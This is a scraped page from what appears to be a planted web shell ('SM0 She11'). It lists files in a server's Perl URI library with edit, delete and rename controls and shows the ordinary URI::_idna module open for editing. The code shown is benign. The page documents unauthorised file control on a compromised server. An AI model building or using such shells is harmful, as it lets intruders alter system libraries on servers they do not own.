SM0 She11
Path:
/
/
usr
/
share
/
perl5
/
URI
Full Path (server): /usr/share/perl5/URI
Create Fil3
Upl04d Fil3
📄 Escape.pm
[E]
[D]
[R]
📄 Heuristic.pm
[E]
[D]
[R]
📄 IRI.pm
[E]
[D]
[R]
📄 QueryParam.pm
[E]
[D]
[R]
📄 Split.pm
[E]
[D]
[R]
📄 URL.pm
[E]
[D]
[R]
📄 WithBase.pm
[E]
[D]
[R]
📄 _foreign.pm
[E]
[D]
[R]
📄 _generic.pm
[E]
[D]
[R]
📄 _idna.pm
[E]
[D]
[R]
📄 _ldap.pm
[E]
[D]
[R]
📄 _login.pm
[E]
[D]
[R]
📄 _punycode.pm
[E]
[D]
[R]
📄 _query.pm
[E]
[D]
[R]
📄 _segment.pm
[E]
[D]
[R]
📄 _server.pm
[E]
[D]
[R]
📄 _userpass.pm
[E]
[D]
[R]
📄 data.pm
[E]
[D]
[R]
📁 file
Open
[D]
[R]
📄 file.pm
[E]
[D]
[R]
📄 ftp.pm
[E]
[D]
[R]
📄 gopher.pm
[E]
[D]
[R]
📄 http.pm
[E]
[D]
[R]
📄 https.pm
[E]
[D]
[R]
📄 ldap.pm
[E]
[D]
[R]
📄 ldapi.pm
[E]
[D]
[R]
📄 ldaps.pm
[E]
[D]
[R]
📄 mailto.pm
[E]
[D]
[R]
📄 mms.pm
[E]
[D]
[R]
📄 news.pm
[E]
[D]
[R]
📄 nntp.pm
[E]
[D]
[R]
📄 pop.pm
[E]
[D]
[R]
📄 rlogin.pm
[E]
[D]
[R]
📄 rsync.pm
[E]
[D]
[R]
📄 rtsp.pm
[E]
[D]
[R]
📄 rtspu.pm
[E]
[D]
[R]
📄 sip.pm
[E]
[D]
[R]
📄 sips.pm
[E]
[D]
[R]
📄 snews.pm
[E]
[D]
[R]
📄 ssh.pm
[E]
[D]
[R]
📄 telnet.pm
[E]
[D]
[R]
📄 tn3270.pm
[E]
[D]
[R]
📁 urn
Open
[D]
[R]
📄 urn.pm
[E]
[D]
[R]
Editing: _idna.pm
package URI::_idna; # This module implements the RFCs 3490 (IDNA) and 3491 (Nameprep) # based on Python-2.6.4/Lib/encodings/idna.py use strict; use URI::_punycode qw(encode_punycode decode_punycode); use Carp qw(croak); BEGIN { *URI::_idna::_ENV_::JOIN_LEAKS_UTF8_FLAGS = $] < 5.008_003 ? sub () { 1 } : sub () { 0 } ; } my $ASCII = qr/^[\x00-\x7F]*\z/; sub encode { my $idomain = shift; my @labels = split(/\./, $idomain, -1); my @last_empty; push(@last_empty, pop @labels) if @labels > 1 && $labels[-1] eq ""; for (@labels) { $_ = ToASCII($_); } return eval 'join(".", @labels, @last_empty)' if URI::_idna::_ENV_::JOIN_LEAKS_UTF8_FLAGS; return join(".", @labels, @last_empty); } sub decode { my $domain = shift; return join(".", map ToUnicode($_), split(/\./, $domain, -1)) } sub nameprep { # XXX real implementation missing my $label = shift; $label = lc($label); return $label; } sub check_size { my $label = shift; croak "Label empty" if $label eq ""; croak "Label too long" if length($label) > 63; return $label; } sub ToASCII { my $label = shift; return check_size($label) if $label =~ $ASCII; # Step 2: nameprep $label = nameprep($label); # Step 3: UseSTD3ASCIIRules is false # Step 4: try ASCII again return check_size($label) if $label =~ $ASCII; # Step 5: Check ACE prefix if ($label =~ /^xn--/) { croak "Label starts with ACE prefix"; } # Step 6: Encode with PUNYCODE $label = encode_punycode($label); # Step 7: Prepend ACE prefix $label = "xn--$label"; # Step 8: Check size return check_size($label); } sub ToUnicode { my $label = shift; $label = nameprep($label) unless $label =~ $ASCII; return $label unless $label =~ /^xn--/; my $result = decode_punycode(substr($label, 4)); my $label2 = ToASCII($result); if (lc($label) ne $label2) { croak "IDNA does not round-trip: '\L$label\E' vs '$label2'"; } return $result; } 1;
Save